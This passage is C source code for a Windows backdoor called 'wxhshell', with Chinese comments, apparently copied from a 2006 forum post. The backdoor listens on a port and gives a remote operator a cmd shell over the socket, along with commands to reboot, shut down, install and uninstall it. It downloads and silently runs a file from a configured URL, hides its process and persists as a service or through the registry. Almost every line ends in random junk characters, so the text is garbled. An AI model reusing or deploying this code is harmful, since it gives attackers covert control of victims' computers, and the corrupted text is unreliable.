&j;wCvE4+  
    switch(cmd[0]) { ez7A4>/  
  2_>N/Z4T  
  // 帮助 {4l8}w  
  case '?': { _?nL+\'V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ${DUCud,kY  
    break; QRw"H 8nW  
  } VMZMG$C  
  // 安装 n3WlZ!$  
  case 'i': { aHD]k8 m z  
    if(Install()) r-,%2y?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <]ox;-56  
    else ldf\;Qk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [DuttFX^x  
    break; :'Vf g[Uq  
    } )705V|v  
  // 卸载 Zj(AJ*r  
  case 'r': { VG5i{1  0  
    if(Uninstall()) _YRFet[,m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'Hw  
    else F~-(:7j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u*eV@KK!  
    break; /l3V3B7  
    } GblA9F7  
  // 显示 wxhshell 所在路径 Y/F6\oh  
  case 'p': { -E[Kml~U  
    char svExeFile[MAX_PATH]; I^.Om])  
    strcpy(svExeFile,"\n\r"); O 2V  
      strcat(svExeFile,ExeFile); Cp\6W[2+B  
        send(wsh,svExeFile,strlen(svExeFile),0); poE0{HOU  
    break; ~g91Pr   
    } #<fRE"v:Q  
  // 重启 p%ki>p )E|  
  case 'b': { gt) I(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g>%o #P7  
    if(Boot(REBOOT)) 8]c2r%J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n9\TO9N  
    else { G/E+L-N#`  
    closesocket(wsh); KYm0@O>;  
    ExitThread(0); &C_j\7Dq  
    }  $c!p&  
    break; A`%k:@  
    } U gat1Pz  
  // 关机 g&L!1<, p  
  case 'd': { rI{; IDV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z-%\ <zT  
    if(Boot(SHUTDOWN)) ic:zsuEm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[PtkPSJ  
    else { ScOK)nL"  
    closesocket(wsh); 38B2|x  
    ExitThread(0); 4> K42m  
    } =jN.1}  
    break; b=C*W,Q_#  
    } zpn9,,~u  
  // 获取shell , >a&"V^k  
  case 's': { fgTg7 m  
    CmdShell(wsh); ^e,.  
    closesocket(wsh); RNk\.}m  
    ExitThread(0); e+7"/icK  
    break; u[;\y|75  
  } NWESP U):w  
  // 退出 0D.Mke )  
  case 'x': { >Er|Jxy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c^xIm'eob  
    CloseIt(wsh); I9A~Ye 5O&  
    break; 6_o*y8s.  
    } 5vQHhwO50k  
  // 离开 s[>,X#7 y  
  case 'q': { mthA4sz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n&4N[Qlv,  
    closesocket(wsh); ^LnTOdAE  
    WSACleanup(); ZDJ`qJ8V  
    exit(1); ,Fl)^Gl8?  
    break; gx/,)> E.  
        } =ZznFVJ`={  
  } 2QcOR4_V  
  } &J]K3w1p  
Pbn*_/H  
  // 提示信息  \!X8   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VBlYvZ;$*  
} t.y2ff<[U  
  } H7Rx>h_  
?=msH=N<l  
  return; /U*C\ xMm  
} J1U/.`Oy  
q[_Vu A]&  
// shell模块句柄 oH?b}T=9jz  
int CmdShell(SOCKET sock) p<FzJ   
{ HyQJXw?A:  
STARTUPINFO si; O/(`S<iip  
ZeroMemory(&si,sizeof(si)); }"H,h)T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R%WCH?B<}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r|8d 4  
PROCESS_INFORMATION ProcessInfo; cl3K<'D  
char cmdline[]="cmd"; a.\:T,cP>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3ZPWze6  
  return 0; jRlYU`?  
} Ml{,  
p`dU2gV  
// 自身启动模式 2a)xTA#  
int StartFromService(void) FX&~\kmV'j  
{ |^I0dR/w:  
typedef struct  _"yh.N&  
{ pU}(@oy  
  DWORD ExitStatus; !-x$L>1$  
  DWORD PebBaseAddress; Ta0|+IYk<  
  DWORD AffinityMask; ?!:ha;n  
  DWORD BasePriority; \:'/'^=#|  
  ULONG UniqueProcessId; {z5--TogJ  
  ULONG InheritedFromUniqueProcessId; r +i($ jMs  
}   PROCESS_BASIC_INFORMATION; I]t!xA~  
{<p?2E  
PROCNTQSIP NtQueryInformationProcess; | j`@eF/"  
8'[7 )I=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~W'{p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9L?.m&  
8 >EWKI9  
  HANDLE             hProcess; <al(7  
  PROCESS_BASIC_INFORMATION pbi; [b%D3-}'  
>8^ $ [}w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X7 MM2V  
  if(NULL == hInst ) return 0; bo>*fNqAIy  
{6|G@ ""O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); On:il$MU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u%KTNa0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xrz,\eTb  
Sq V},  
  if (!NtQueryInformationProcess) return 0; 10~k2{Z  
/9*B)m"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $9#H04.x  
  if(!hProcess) return 0; 6<SAa#@ey  
%lhEM}Sm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c|y(2K)o[=  
/{ l$sBUL  
  CloseHandle(hProcess); ,4e:I.b  
G6P?2@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H5B:;g@  
if(hProcess==NULL) return 0; qJs<#MQ2  
#U4F0BdA  
HMODULE hMod; Gr'  CtO  
char procName[255]; 1CD+B=pQG  
unsigned long cbNeeded; 34O `@j0-3  
nwe* BVp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 85$m[+md  
dr}`H,X"3  
  CloseHandle(hProcess); 6r0krbN  
%D34/=(X  
if(strstr(procName,"services")) return 1; // 以服务启动 KeB"D!={;  
WRbj01v  
  return 0; // 注册表启动 HYZ5EV  
} ItVWO:x&v  
%6,SKg p  
// 主模块 &X ):4  
int StartWxhshell(LPSTR lpCmdLine) qvsd5PeCO  
{ W ]1)zO  
  SOCKET wsl; (!aNq(   
BOOL val=TRUE; T^t# c  
  int port=0; drP=A~?&:  
  struct sockaddr_in door; %QGC8Tz  
m+R[#GE8#  
  if(wscfg.ws_autoins) Install(); ) 1f~ dR88  
RDi]2  
port=atoi(lpCmdLine); BWa,f8  
~d4 )/y  
if(port<=0) port=wscfg.ws_port; Pb4X\9^  
M61xPq8y5  
  WSADATA data; =pO^7g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $E~`\o%Ev  
A*2jENgci  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7M!I8C0!aO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HxV=F66"  
  door.sin_family = AF_INET; [Cz-i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q5`*3h6p=  
  door.sin_port = htons(port); kQSy+q  
/QWvW=F2<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ay ;S4c/_  
closesocket(wsl); u@UMP@"#  
return 1; =,=A,kI[;  
} /GN<\_o=q  
 SI-qC  
  if(listen(wsl,2) == INVALID_SOCKET) { _x'6]f{n  
closesocket(wsl); ,X-bJA@(  
return 1; F=e8IUr  
} \BTODZ:h  
  Wxhshell(wsl); zuad~%D<I  
  WSACleanup(); 85:=4N%  
XbKYiy  
return 0; r&JgLC(   
4y?n [/M/  
} u(>^3PJ+  
L-WT]&n_  
// 以NT服务方式启动 )._;~z!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z6=Z\P+  
{ q4:o#K#  
DWORD   status = 0; ,+DG2u  
  DWORD   specificError = 0xfffffff; 8,4"uuI  
{ ]{/t-=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VU(v3^1"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EF[@$j   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -`kW&I0  
  serviceStatus.dwWin32ExitCode     = 0; W0@n/U  
  serviceStatus.dwServiceSpecificExitCode = 0; %COX7gV  
  serviceStatus.dwCheckPoint       = 0; eK?MKe  
  serviceStatus.dwWaitHint       = 0; t7Iv?5]N  
HZC"nb}r4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x.!V^HQSN  
  if (hServiceStatusHandle==0) return; ZF9z~9  
v\gLWq'  
status = GetLastError(); 5oW!YJg  
  if (status!=NO_ERROR) g0=z&2Q[_)  
{ P|tO<t6/9*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *xxx:*6rk;  
    serviceStatus.dwCheckPoint       = 0; KE5kOU;  
    serviceStatus.dwWaitHint       = 0; q]ku5A\y  
    serviceStatus.dwWin32ExitCode     = status; kW Ml  
    serviceStatus.dwServiceSpecificExitCode = specificError; EReZkvseC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x_N'TjS^{  
    return; (l~AV9!m:  
  } RUnSCOdX  
_?m(V=z>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Eex~xiiV  
  serviceStatus.dwCheckPoint       = 0; x:NY\._  
  serviceStatus.dwWaitHint       = 0; S]e|"n~@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _~l5u8{^6  
} WdH$JTk1  
;>EM[u  
// 处理NT服务事件,比如:启动、停止 >=I|xY,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #4Rx]zW^%  
{ TCwFPlF|  
switch(fdwControl) o4F2%0gJ  
{ +s,=lL  
case SERVICE_CONTROL_STOP: 3=P]x ;[ba  
  serviceStatus.dwWin32ExitCode = 0; r[`9uVT/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NqazpB*  
  serviceStatus.dwCheckPoint   = 0; oi&VgnSk  
  serviceStatus.dwWaitHint     = 0; HSE!x_$  
  { +ZaSM~   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~?Qe?hB  
  } S}m)OmrmA  
  return; YW,tCtI0_  
case SERVICE_CONTROL_PAUSE: Cx@);4arj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n`?aC|P2s  
  break; Db}j?ik/  
case SERVICE_CONTROL_CONTINUE: ;40/yl3r3[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fx_z6a  
  break; r"3=44St  
case SERVICE_CONTROL_INTERROGATE: Pe_W;q.  
  break; wtQ++l%{G  
}; \R9(x]nZ%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ul6]!Iy  
} jP$a_hW  
q.^;!f1  
// 标准应用程序主函数 ;s= l52  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J@HtoTDO3  
{ Q2w_X8  
-n~1C {<  
// 获取操作系统版本 5,lEx1{_  
OsIsNt=GetOsVer(); hP%M?MKC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *MFIV02[N  
1Kw+,.@d  
  // 从命令行安装 ~]IOK$1F%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 93 )sk/j  
.]Y$o^mf  
  // 下载执行文件 ;C9_?u~#  
if(wscfg.ws_downexe) { 4<w.8rR:A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JQ_sUYh~3  
  WinExec(wscfg.ws_filenam,SW_HIDE); #>("CAB02T  
} ~|D Ut   
iJ)_RSFK  
if(!OsIsNt) { oj m @t  
// 如果时win9x,隐藏进程并且设置为注册表启动 >UTBO|95y  
HideProc(); #K_ii)n  
StartWxhshell(lpCmdLine); [B*x-R[FI  
} HTv2#  
else vFzRg5lH  
  if(StartFromService()) ^qvZXb  
  // 以服务方式启动 1APe=tJ  
  StartServiceCtrlDispatcher(DispatchTable); aB2F C$z  
else GE:vp>>}`  
  // 普通方式启动 2. NN8PPD"  
  StartWxhshell(lpCmdLine); DZ 3wCLQtK  
V# }!-Xj  
return 0; }1L4 "}L.  
}
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只看该作者 1 发表于: 2006-10-10
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